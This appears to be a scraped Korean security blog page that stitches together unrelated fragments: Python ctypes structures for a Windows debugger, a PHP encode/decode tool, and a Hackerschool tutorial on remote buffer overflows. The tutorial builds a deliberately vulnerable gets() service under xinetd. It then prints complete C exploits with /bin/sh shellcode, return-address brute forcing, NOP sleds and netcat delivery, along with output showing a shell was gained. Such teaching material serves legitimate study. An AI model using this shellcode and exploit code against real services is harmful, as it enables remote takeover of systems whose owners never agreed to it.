
EXIT_PROCESS_DEBUG_EVENT   =    0x5

LOAD_DLL_DEBUG_EVENT       =    0x6

UNLOAD_DLL_DEBUG_EVENT     =    0x7

OUTPUT_DEBUG_STRING_EVENT  =    0x8

RIP_EVENT                  =    0x9


# debug exception codes.

EXCEPTION_ACCESS_VIOLATION     = 0xC0000005

EXCEPTION_BREAKPOINT           = 0x80000003

EXCEPTION_GUARD_PAGE           = 0x80000001

EXCEPTION_SINGLE_STEP          = 0x80000004



# Thread constants for CreateToolhelp32Snapshot()

TH32CS_SNAPHEAPLIST = 0x00000001

TH32CS_SNAPPROCESS  = 0x00000002

TH32CS_SNAPTHREAD   = 0x00000004

TH32CS_SNAPMODULE   = 0x00000008

TH32CS_INHERIT      = 0x80000000

TH32CS_SNAPALL      = (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)

THREAD_ALL_ACCESS   = 0x001F03FF


# Context flags for GetThreadContext()

CONTEXT_FULL                   = 0x00010007

CONTEXT_DEBUG_REGISTERS        = 0x00010010


# Memory permissions

PAGE_EXECUTE_READWRITE         = 0x00000040


# Hardware breakpoint conditions

HW_ACCESS                      = 0x00000003

HW_EXECUTE                     = 0x00000000

HW_WRITE                       = 0x00000001


# Memory page permissions, used by VirtualProtect()

PAGE_NOACCESS                  = 0x00000001

PAGE_READONLY                  = 0x00000002

PAGE_READWRITE                 = 0x00000004

PAGE_WRITECOPY                 = 0x00000008

PAGE_EXECUTE                   = 0x00000010

PAGE_EXECUTE_READ              = 0x00000020

PAGE_EXECUTE_READWRITE         = 0x00000040

PAGE_EXECUTE_WRITECOPY         = 0x00000080

PAGE_GUARD                     = 0x00000100

PAGE_NOCACHE                   = 0x00000200

PAGE_WRITECOMBINE              = 0x00000400



# Structures for CreateProcessA() function

# STARTUPINFO describes how to spawn the process

class STARTUPINFO(Structure):

    _fields_ = [

        ("cb",            DWORD),        

        ("lpReserved",    LPTSTR), 

        ("lpDesktop",     LPTSTR),  

        ("lpTitle",       LPTSTR),

        ("dwX",           DWORD),

        ("dwY",           DWORD),

        ("dwXSize",       DWORD),

        ("dwYSize",       DWORD),

        ("dwXCountChars", DWORD),

        ("dwYCountChars", DWORD),

        ("dwFillAttribute",DWORD),

        ("dwFlags",       DWORD),

        ("wShowWindow",   WORD),

        ("cbReserved2",   WORD),

        ("lpReserved2",   LPBYTE),

        ("hStdInput",     HANDLE),

        ("hStdOutput",    HANDLE),

        ("hStdError",     HANDLE),

        ]


# PROCESS_INFORMATION receives its information

# after the target process has been successfully

# started.

class PROCESS_INFORMATION(Structure):

    _fields_ = [

        ("hProcess",    HANDLE),

        ("hThread",     HANDLE),

        ("dwProcessId", DWORD),

        ("dwThreadId",  DWORD),

        ]


# When the dwDebugEventCode is evaluated

class EXCEPTION_RECORD(Structure):

    pass

    

EXCEPTION_RECORD._fields_ = [

        ("ExceptionCode",        DWORD),

        ("ExceptionFlags",       DWORD),

        ("ExceptionRecord",      POINTER(EXCEPTION_RECORD)),

        ("ExceptionAddress",     PVOID),

        ("NumberParameters",     DWORD),

        ("ExceptionInformation", UINT_PTR * 15),

        ]


class _EXCEPTION_RECORD(Structure):

    _fields_ = [

        ("ExceptionCode",        DWORD),

        ("ExceptionFlags",       DWORD),

        ("ExceptionRecord",      POINTER(EXCEPTION_RECORD)),

        ("ExceptionAddress",     PVOID),

        ("NumberParameters",     DWORD),

        ("ExceptionInformation", UINT_PTR * 15),

        ]


# Exceptions

class EXCEPTION_DEBUG_INFO(Structure):

    _fields_ = [

        ("ExceptionRecord",    EXCEPTION_RECORD),

        ("dwFirstChance",      DWORD),

        ]


# it populates this union appropriately

class DEBUG_EVENT_UNION(Union):

    _fields_ = [

        ("Exception",         EXCEPTION_DEBUG_INFO),

#        ("CreateThread",      CREATE_THREAD_DEBUG_INFO),

#        ("CreateProcessInfo", CREATE_PROCESS_DEBUG_INFO),

#        ("ExitThread",        EXIT_THREAD_DEBUG_INFO),

#        ("ExitProcess",       EXIT_PROCESS_DEBUG_INFO),

#        ("LoadDll",           LOAD_DLL_DEBUG_INFO),

#        ("UnloadDll",         UNLOAD_DLL_DEBUG_INFO),

#        ("DebugString",       OUTPUT_DEBUG_STRING_INFO),

#        ("RipInfo",           RIP_INFO),

        ]   


# DEBUG_EVENT describes a debugging event

# that the debugger has trapped

class DEBUG_EVENT(Structure):

    _fields_ = [

        ("dwDebugEventCode", DWORD),

        ("dwProcessId",      DWORD),

        ("dwThreadId",       DWORD),

        ("u",                DEBUG_EVENT_UNION),

        ]


# Used by the CONTEXT structure

class FLOATING_SAVE_AREA(Structure):

   _fields_ = [

   

        ("ControlWord", DWORD),

        ("StatusWord", DWORD),

        ("TagWord", DWORD),

        ("ErrorOffset", DWORD),

        ("ErrorSelector", DWORD),

        ("DataOffset", DWORD),

        ("DataSelector", DWORD),

        ("RegisterArea", BYTE * 80),

        ("Cr0NpxState", DWORD),

]


# The CONTEXT structure which holds all of the 

# register values after a GetThreadContext() call

class CONTEXT(Structure):

    _fields_ = [

    

        ("ContextFlags", DWORD),

        ("Dr0", DWORD),

        ("Dr1", DWORD),

        ("Dr2", DWORD),

        ("Dr3", DWORD),

        ("Dr6", DWORD),

        ("Dr7", DWORD),

        ("FloatSave", FLOATING_SAVE_AREA),

        ("SegGs", DWORD),

        ("SegFs", DWORD),

        ("SegEs", DWORD),

        ("SegDs", DWORD),

        ("Edi", DWORD),

        ("Esi", DWORD),

        ("Ebx", DWORD),

        ("Edx", DWORD),

        ("Ecx", DWORD),

        ("Eax", DWORD),

        ("Ebp", DWORD),

        ("Eip", DWORD),

        ("SegCs", DWORD),

        ("EFlags", DWORD),

        ("Esp", DWORD),

        ("SegSs", DWORD),

        ("ExtendedRegisters", BYTE * 512),

]


# THREADENTRY32 contains information about a thread

# we use this for enumerating all of the system threads


class THREADENTRY32(Structure):

    _fields_ = [

        ("dwSize",             DWORD),

        ("cntUsage",           DWORD),

        ("th32ThreadID",       DWORD),

        ("th32OwnerProcessID", DWORD),

        ("tpBasePri",          DWORD),

        ("tpDeltaPri",         DWORD),

        ("dwFlags",            DWORD),

    ]


# Supporting struct for the SYSTEM_INFO_UNION union

class PROC_STRUCT(Structure):

    _fields_ = [

        ("wProcessorArchitecture",    WORD),

        ("wReserved",                 WORD),

]



# Supporting union for the SYSTEM_INFO struct

class SYSTEM_INFO_UNION(Union):

    _fields_ = [

        ("dwOemId",    DWORD),

        ("sProcStruc", PROC_STRUCT),

]

# SYSTEM_INFO structure is populated when a call to 

# kernel32.GetSystemInfo() is made. We use the dwPageSize

# member for size calculations when setting memory breakpoints

class SYSTEM_INFO(Structure):

    _fields_ = [

        ("uSysInfo", SYSTEM_INFO_UNION),

        ("dwPageSize", DWORD),

        ("lpMinimumApplicationAddress", LPVOID),

        ("lpMaximumApplicationAddress", LPVOID),

        ("dwActiveProcessorMask", DWORD),

        ("dwNumberOfProcessors", DWORD),

        ("dwProcessorType", DWORD),

        ("dwAllocationGranularity", DWORD),

        ("wProcessorLevel", WORD),

        ("wProcessorRevision", WORD),

]


# MEMORY_BASIC_INFORMATION contains information about a 

# particular region of memory. A call to kernel32.VirtualQuery()

# populates this structure.

class MEMORY_BASIC_INFORMATION(Structure):

    _fields_ = [

        ("BaseAddress", PVOID),

        ("AllocationBase", PVOID),

        ("AllocationProtect", DWORD),

        ("RegionSize", SIZE_T),

        ("State", DWORD),

        ("Protect", DWORD),

        ("Type", DWORD),

]

    

----------------------------------------------------------------------------------------------







Posted by k1rha
2012. 6. 26. 22:12

//정은이(Scar) 가 쓴 인코딩 디코딩 페이지 php 소스.



<?php 

//error_reporting(E_ALL); 
//ini_set('display_errors','1'); 

if ($_POST['value']){ 
    
$value=$_POST['value']; 
    
$select=$_POST['select']; 

else{ 
    
$value=''
    
$select=''


switch (
$select){ 
    case 
'URL encode'
        
$result=urlencode($value); 
        break; 
    case 
'BASE64 encode'
        
$result=base64_encode($value); 
        break; 
    case 
'URL decode'
        
$result=urldecode($value); 
        break; 
    case 
'BASE64 decode'
        
$result=base64_decode($value); 
        break; 
    case 
'MD5 hash'
        
$result=md5($value); 
        break; 
    case 
'SHA1 hash'
        
$result=sha1($value); 
        break; 
    default: 
        
$array=1
        
$size=1
        
$div[0]=$value
        if (
strstr($value,' ')){ 
            
$div=explode(' ',$value); 
            
$size=count($div); 
        } 
        switch (
$select){ 
            case 
'Hex to Dec'
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=' '.hexdec($div[$i]); 
                } 
                break; 
            case 
'Hex to Ascii'
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=chr(hexdec($div[$i])); 
                } 
                break; 
            case 
'Dec to Hex'
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=' '.dechex($div[$i]); 
//                    if($result[$i]==7fffffff) 
                

                
$result[0]=dechex($div[0]); 
                break; 
            case 
'Dec to Ascii'
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=chr($div[$i]); 
                } 
                break; 
            case 
'Ascii to Hex'
                
$size=strlen($value); 
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=' '.dechex(ord($value[$i])); 
                } 
                break; 
            case 
'Ascii to Dec'
                
$size=strlen($value); 
                for (
$i=0;$i<$size;$i++){ 
                    
$result[$i]=' '.ord($value[$i]); 
                } 
                break; 
            default: 
                
$result=''
        } 


?> 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 
<HTML> 
    <HEAD> 
        <TITLE> encode/decode </TITLE> 
        <link type='text/css' rel='stylesheet' href='../style.css'> 
    </HEAD> 
    <BODY> 
        <form action='index.php' method='POST'> 
            <div class='crypto_input'> 
                <textarea class='crypto_input' name='value'><? 
                
if ($array==1){ 
                    
$result[0]=trim($result[0]); 
                    for (
$i=0;$i<count($result);$i++){ 
                        echo (
$result[$i]); 
                    } 
                } 
                else{ 
                    echo (
$result); 
                } 
                
?></textarea> 
                dec, hex는 공백 기호로 분리됩니다. 
            </div> 
            <br><br> 
            <div class='crypto_menu'> 
                <div class='crypto_content_box encode'> 
                    <input class='button' type='submit' name='select' value='URL encode'><br> 
                    <input class='button' type='submit' name='select' value='BASE64 encode'><br> 
                </div> 
                <div class='crypto_content_box decode'> 
                    <input class='button' type='submit' name='select' value='URL decode'><br> 
                    <input class='button' type='submit' name='select' value='BASE64 decode'><br> 
                </div> 
                <div class='crypto_content_box hash'> 
                    <input class='button' type='submit' name='select' value='MD5 hash'><br> 
                    <input class='button' type='submit' name='select' value='SHA1 hash'> 
                </div> 
                <div class='crypto_content_box hex'> 
                    <input class='button' type='submit' name='select' value='Hex to Dec'><br> 
                    <input class='button' type='submit' name='select' value='Hex to Ascii'> 
                </div> 
                <div class='crypto_content_box dec'> 
                    <input class='button' type='submit' name='select' value='Dec to Hex'><br> 
                    <input class='button' type='submit' name='select' value='Dec to Ascii'> 
                </div> 
                <div class='crypto_content_box ascii'> 
                    <input class='button' type='submit' name='select' value='Ascii to Hex'><br> 
                    <input class='button' type='submit' name='select' value='Ascii to Dec'> 
                </div> 
            </div> 
        </form> 
    </BODY> 
</HTML> 

Posted by k1rha
2012. 6. 26. 21:39

[출처 ] http://hyogeun.tistory.com/35



Posted by k1rha
2012. 6. 21. 02:18

리모트 버퍼 오버플로우 총정리

made by Hackerschool_mongil

 

이번 WGD에선 데몬 형태로 작동하는 네트워크 프로그램에 대한 버퍼 오버플로우

공격 기법들에 대해 학습해 보도록 하겠다. 지금까지 우리는 로컬 영역에 설치된

프로그램. , 우리가 쉘을 가지고 있는 상태에서 더욱 높은 권한(보통 root)

을 얻어내기 위해서 취약 프로그램을 공격해왔었다. 하지만, 이번의 설정은

우리가 Target 서버에 아무런 쉘 권한도 가지고있지 않고, 취약 프로그램이

Xinetd 혹은 독립적인 네트워크 프로그램 형태로 Target 서버의 특정 Port

연결된 상태, , 데몬으로 작동하고있다고 가정한다. 이와같은 형식으로 구성된

프로그램의 예는 우리 주위에서 쉽게 찾을 수 있다. Telnet, SSH, Apache,

Sendmail, POP 등등.. 이 프로그램들의 특징은 각각 자신의 고유한 Port 번호에

프로그램의 입출력이 연결되어 그 Port에서 들어오는 입력을 처리하고, 그에 대한 결과를 역시 같은 Port로 출력하며, 이러한 처리를 다수의 클라이언트에게 제공 하는 서버 형태의 프로그램이라는 점이다. 그럼 이러한 형태의 프로그램은 어떻게 구현 가능할까? 크게 두 가지 방법으로 나누어볼 수 있으며, 앞으로 이 두 가지 경우에 대한 공격 테스트를 진행하도록 하겠다.

 

네트워크 프로그램을 구현하는 두 가지 방법

 

1. 표준 입출력에 작동하는 일반적인 프로그램을 구현한 후, Inetd 혹은 Xinetd 데몬을 이용하여 네트워크로 연결 시킴.

2. 독립적인 네트워크 프로그램으로 구현하여 작동시킴.

 

이번 문서에서는 이 두 가지 경우 중 첫 번째에 대한 공격들만 다루어 보도록 할

예정이다. 그럼 먼저 1번에 해당하는 취약 프로그램을 한번 구현해보자.

 

======================================================

int main()

{

        char buffer[100];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

 

이 프로그램은 마치 로컬 환경을 위한 것으로 보인다. 하지만, 다음과 같은 과정을 통해 Xinet 데몬에 등록하면, Xinet 데몬에 의해 표준 입력 주체는 Xinetd 설정에 의해 지정된 Port가 되며, 표준 출력의 주체 역시 그 Port가 된다. 따라서 결국 위 프로그램이 네트워크 프로그램으로 작동하게 될 것이며이러한 과정은 내부적으로 디스크립터의 입출력을 변경해주는 dup() 계열의 함수에 의해 이루어진다.

 

프로그램을 Xinetd에 등록하는 과정.

 

1. 위 코드를 컴파일한다.

===========================================================

[root@ftz BOF]# gcc -o vuln vuln.c

/tmp/ccmC8XAk.o(.text+0x18): In function `main':

: the `gets' function is dangerous and should not be used.

[root@ftz BOF]#

===========================================================

친절하게도 gcc "gets 함수는 위험해!" 하며 주의를 준다. 하지만 우리는 gets 함수를 매우 좋아함으로 위 경고에 신경쓸 필요가 없다.

 

2. /etc/xinetd.d 디렉토리로 이동한 후, 다음과 같은 파일을 작성한다.

참고로 user 부분은 취약 프로그램을 실행시킬 권한을 정의하는데, root로 할 경우 내가 아닌 다른 사람에게 공격당할 경우 치명적임으로 일반 계정으로 지정해준다.

 

===================================================

[root@ftz xinetd.d]# cat > vuln

service vuln

{

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = guest

        server          = /root/BOF/vuln

        disable         = no

}

[root@ftz xinetd.d]#

===================================================

 

3. 위에서 service 오른쪽의 단어는 Port Name을 의미한다. 하지만, vuln이라는

이름의 Port는 정의되어있지 않음으로 이를 /etc/services 파일에 추가해 준다.

 

[root@ftz xinetd.d]# echo "vuln 31337/tcp" >> /etc/services

 

4. 이제 xinetd를 재구동시키면 지금 추가한 설정이 적용되어 31337번의 TCP

포트가 오픈되고, 그곳에 접속하면 앞서 작성한 vuln 프로그램을 만날 수 있게된다.

 

=======================================================================

[root@ftz BOF]# /etc/rc.d/init.d/xinetd restart

xinetd 를 정지함:                                          [  확인  ]

xinetd ()를 시작합니다:                                  [  확인  ]

[root@ftz BOF]#

=======================================================================

 

5. 접속 테스트

 

========================================================================

[root@ftz BOF]# telnet localhost 31337

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

mirable

당신이 입력한 문자열 : mirable

Connection closed by foreign host.

[root@ftz BOF]#

=======================================================================

 

, 그럼 이제부터 이 취약 프로그램에 대한 다음과 같은 7가지 공격 테스트를

시도해 보겠다.

 

1. 무작위로 쉘코드의 위치를 찾아내는 공격 1 (정확하게 쉘코드 찾기)

공격 효율성 : ★★☆☆☆

2. 무작위로 쉘코드의 위치를 찾아내는 공격 2 (NOP을 이용하면 편하다)

공격 효율성 : ★★★☆☆

3. 무작위로 쉘코드의 위치를 찾아내는 공격 3 (더욱 많은 NOP을 넣어볼까?)

공격 효율성 : ★★★★☆

4. 버퍼의 크기가 작을 때의 리모트 공격

공격 효율성 : ★★★★☆

5. 리모트 환경에서의 Return to Library를 이용한 공격

공격 효율성 : ★★☆☆☆

6. 단 한번에 RTL을 이용한 공격 성공시키기

공격 효율성 : ★★★☆☆

7. 단 한번에 RTL을 이용한 공격 성공시키기 2

공격 효율성 : ★★★★★

 

그럼 먼제 1번에 해당하는 공격을 해보자. 공격 시나리오는 다음과 같다. 먼저,

과연 몇 바이트를 입력해야 segfault가 발생하는지를 파악한다. 그 다음엔 buffer변수에 주입할 쉘코드를 생성한다. 이제 실제 해당 Port에 접속하여 쉘코드를 입력하고, return address가 저장되어있는 부분을 스택의 바닥 부분인 0xc000000 에서부터 4바이트씩 감소해나간다. 공격이 성공할 때까지 계속해서 이 과정을 반복하고, 만약 공격에 성공한다면 무차별 대입 과정은 종료되고 TAREGET 서버의 쉘이 터미널에 나타날 것이다.

 

일단, 몇 바이트를 입력했을 때 segfault가 발생하는지부터 확인해보자.

 

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x100; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]#

[root@ftz BOF]# perl -e 'printf "A"x150; printf "\n"' | nc localhost 31337

[root@ftzk BOF]#

==========================================================================

 

150바이트를 입력하니, 아무런 응답이 없이 연결이 끊겼다. 이처럼 local 환경에서 segfault가 나는 것과는 달리 리모트에선 아무런 반응 없이 바로 연결이 끊겨버리는 것이 특징이다. 100에선 segfault가 나지 않고, 150에선 났으니 버퍼의 크기가 100150 사이라는 것을 추측할 수 있다.

 

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]# perl -e 'printf "A"x130; printf "\n"' | nc localhost 31337

[root@ftz BOF]#

==========================================================================

 

점점 정확한 버퍼의 범위가 모습을 드러내고있다.

 

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\n"' | nc localhost 31337

[root@ftz BOF]#

==========================================================================

 

정확히 124바이트에서 오버플로우가 일어났다. SFP가 변경되었을 때 역시 segfault가 난다는 사실을 감안하면, 121~124 영역은 SFP 영역이며, 125~128이 바로 RET 영역 이라고 추측해낼 수 있다. 또한, 버퍼의 크기가 120바이트로 예측되었지만, DUMMY 값이 있을 수 있음으로 실제로는 120바이트 이하가 될 가능성도 있다. (실제로는 100바이트이다.) 하지만, 우리에게 중요한 부분은 RET 영역임으로 DUMMY 값이 어떤 다른 중요한 영향을 미치지는 않는다.

 

그럼 이제 공격 STRING의 모습을 구성해보자.

 

취약 프로그램의 스택

[~~~~~~~~~~ 120 바이트의 버퍼 공간~~~~~~~~~~~~~][SFP][RET][~~~~~~~~~~~~~~]

 

공격 스트링

[~~~~쉘 코드~~~~][~~~~~~~~~쓰레기 값들~~~~~~~~~~~][SFP][RET]

↑                                                       │

└────────────────────────-───┘

        RET이 쉘 코드를 정확히 가리키도록 BRUTE FORCE

 

그리고 위 내용에 따라 Exploit을 구현한다. 완성된 Exploit이 아닌, 구현해 나가는 과정을 순차적으로 보이도록 하겠다.

 

※ BRUTE FORCE 테스트

 

============================

int main()

{

        int *ret;

        ret = (int *)0xc0000000;

        while(1){

                printf("%p\n", ret);

                ret--;

                sleep(1);

        }

}

============================

               

실행 결과               

 

============================

[root@ftz BOF]# ./a

0xc0000000

0xbffffffc

0xbffffff8

0xbffffff4

0xbffffff0

0xbfffffec

0xbfffffe8

0xbfffffe4

0xbfffffe0

(ctrl+c)

[root@ftz BOF]#

============================

 

.. 원하는 결과대로 잘 나오는군.. 이런 식으로 계속 모든 스택 영역을  헤치다 보면 결국엔 쉘코드의 위치를 찾아 쉘을 띄우게 될 것이다.

 

※ 120바이트 변수에 쉘코드를 넣자

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

 

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

 

        ret = (int *)0xc0000000;

       

        while(1){

                printf("%p\n", ret);

                ret--;

                sleep(1);

        }

}

==========================================================================

 

리턴 어드레스 부분(spy+124) ret 변수의 값을 넣자.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

 

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

 

        ret = (int *)0xc0000000;

        

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                ret--;

        }

}

==========================================================================

 

완성된 공격 STRING이 해당 IP Port로 전송되도록 한다.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

        char command[300];

 

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

 

        ret = (int *)0xc0000000;

 

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret--;

        }

}

==========================================================================

 

이것이 완성된 Exploit이다. Exploit 0xc0000000에서부터 4바이트씩 감소해

가며 쉘코드의 위치를 찾다가, 쉘코드가 발견되어 쉘이 실행된다면 id라는 문자열을

전송하여 화면에 이 명령의 결과가 출력되도록 해줄 것이다. 만약 특정 명령어가

아닌 직접 쉘을 사용하고 싶다면, 위 소스 중 printf "id\n" 부분을 삭제하면 된다.

 

이제 Exploit을 실행시켜 성능을 확인해보자.

 

==================================

[root@ftz BOF]# ./ex

0xc0000000

0xbffffffc

0xbffffff8

0xbffffff4

0xbffffff0

0xbfffffec

0xbfffffe8

... 생략 ...

0xbffffab0

0xbffffaac

0xbffffaa8

0xbffffaa4

0xbffffaa0

0xbffffa9c

uid=1000(guest) gid=1000(guest)

(공격 성공)

==================================

 

위와 같은 결과가 나오기까지는 약 1~2분의 시간밖에 소요되지 않는다. 약간 무식한 방법이긴 하지만 그리 비효율적인 공격 방법은 아니라는 말이다. 그리고 앞으로  공격 경험이 많아지면 버퍼의 위치가 대략 0xbffffb00 이하의 주소에 위치하게 된다는 사실도 알게 될 것임으로 Exploit을 수정하여 공격 시간을 훨씬 단축 시킬 수 있을 것이다. , 위 같은 BRUTE FORCE 공격 중 쉘 코드가 실행되지 않았 음에도 불구하고 터미널이 멈추는 경우가 있다. 이는 리턴 어드레스가 운 나쁘게도 while(1)과 같은 무한 루프 기계어를 만나게 되었을 경우이며, CTRL+C를 눌러 수동 으로 터미널을 빠져나오도록 해줘야한다.

 

다음엔 공격 확률을 높여서 쉘을 획득하는 시간을 최대한 높이는 것을 목적으로

Exploit을 수정해 나가보도록 하겠다. 먼저, 로컬에서 그랬던 것과 마찬가지로

NOP 코드를 충분히 넣어 쉘코드를 더욱 쉽게 실행할 수 있도록 유도해보자.

간단하게 다음과 같이 Exploit을 수정해 주면 될 것이다.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[128];

        char command[300];

 

        memset(spy, '\x90', 128);        // NOP으로 가득 채운다.

        memcpy(spy+120-strlen(shellcode), shellcode, strlen(shellcode));

                // 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다.

 

        ret = (int *)0xc0000000;       

 

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret = ret - 20;        // 넉넉하게 80바이트씩 이동한다.

        }

}

==========================================================================

 

이제 설레이는 마음으로 수정된 Exploit을 실행해보자. 참고로 가장 마지막 라인인 ret - 20 "ret 주소를 80바이트 감소"를 의미하는 이유는 ret 포인터 변수의TYPE 4바이트에 해당하는 int이기 때문이다. 포인터의 +, - 연산은 해당 포인터 형의 바이트 수 단위에 따라 적용된다는 것을 기억하라. , 80바이트로 정한 이유는 SPY 변수의 쉘코드 앞쪽에 들어간 NOP 크기가 얼핏 계산하기에 80~100바이트 정도 되기 때문이다. 80~100바이트가 NOP임으로 그 NOP 지대의 단 한 부분만을 리턴 어드레스가 가리키기만 하면 결국 쉘코드가 실행될 것이다.

 

==========================================================================

[root@ftz BOF]# ./ex

0xc0000000

0xbfffffb0

0xbfffff60

sh: command substitution: line 1: syntax error near unexpected token `0@(?

sh: command substitution: line 1: `?

                                      B 0@(??

0xbfffff10

0xbffffec0

0xbffffe70

0xbffffe20

0xbffffdd0

0xbffffd80

0xbffffd30

0xbffffce0

0xbffffc90

0xbffffc40

0xbffffbf0

0xbffffba0

0xbffffb50

0xbffffb00

0xbffffab0

uid=1000(guest) gid=1000(guest)

(공격 성공)

==========================================================================

 

공격을 성공시키기까지 약 5초도 채 걸리지 않았다. 역시 NOP의 위력은 로컬에서나 리모트에서나 그 역할을 톡톡히 하는 것 같다.

이정도만 해도 리모트 공격의 성과는 충분히 만족할 만하다. 하지만, 재미를 위해 몇 가지 기술을 더 익혀보도록 하자.

 

다음에 설명할 내용은 더 많은 NOP을 주입하는 기술이다. 버퍼의 용량은 이미 120 바이트로 한정되어있다. 그런데 어떻게 더 많은 NOP을 주입할 것인가? 바로 답을 얘기하자면 "리턴 어드레스의 뒷 부분에 NOP과 셀코드를 넣는다" 이다.

 

[~~~~~쓰레기 값 120 바이트~~~~~~][SFP][RET][~~~~~~~~~~~NOP~~~~~~~~~~][쉘코드]

                                       │  ↑

                                       └─┘

                            이 부분을 가리키도록 BRUTE FORCE

 

위의 시나리오에 맞게 앞서 작성한 Exploit을 수정해보자.

 

==========================================================================

#include <stdio.h>

 

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

 

int main()

{

        int *ret;

        char spy[1000]; // 1000바이트를 할당한다.

        char command[1200];

 

        memset(spy, 'A', 1000);        // 버퍼 초기화

        memset(spy+128, '\x90', 1000);  // RET 이후를 NOP으로 가득 채운다.

        memcpy(spy+1000-strlen(shellcode), shellcode, strlen(shellcode));

        // 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다.

 

        ret = (int *)0xc0000000;       

 

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret = ret - 200;        // 넉넉하게 800바이트씩 이동한다.

        }

}

==========================================================================

 

이제 더욱 설레이는 마음으로 Exploit을 실행해보자.

 

=====================================

[root@ftz BOF]# ./ex

0xc0000000

0xbffffce0

uid=1000(guest) gid=1000(guest)

=====================================

 

성과가 엄청나다. 단 두 번만에 공격을 성공시켰다. 이 공격을 사용할 때의 의할 점은 spy 변수의 크기를 너무 과하게 잡으면, 스택의 영역을 벗어나 0xc0000000 뒷 쪽의 커널을 건드려 공격이 성공하기도 전에 프로그램이 종료되는 수가 다는 점이다. 대략 800 바이트의 spy 변수를 잡아주면 가장 무난하다.

 

이제 다음에 테스트해 볼 내용은 바로 버퍼의 크기가 매우 작을 때의 리모트 공격 이다. 취약 프로그램의 소스가 다음과 같다고 가정해보자.

 

======================================================

int main()

{

        char buffer[8];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

 

버퍼의 크기가 매우 작음으로, 쉘코드를 주입할 공간이 없다. 하지만, 이에 대한

답은 이미 나왔다. 바로 앞서 배웠던 "RET 뒷 쪽에 NOP 넣기" 기법을 사용하면 된다.

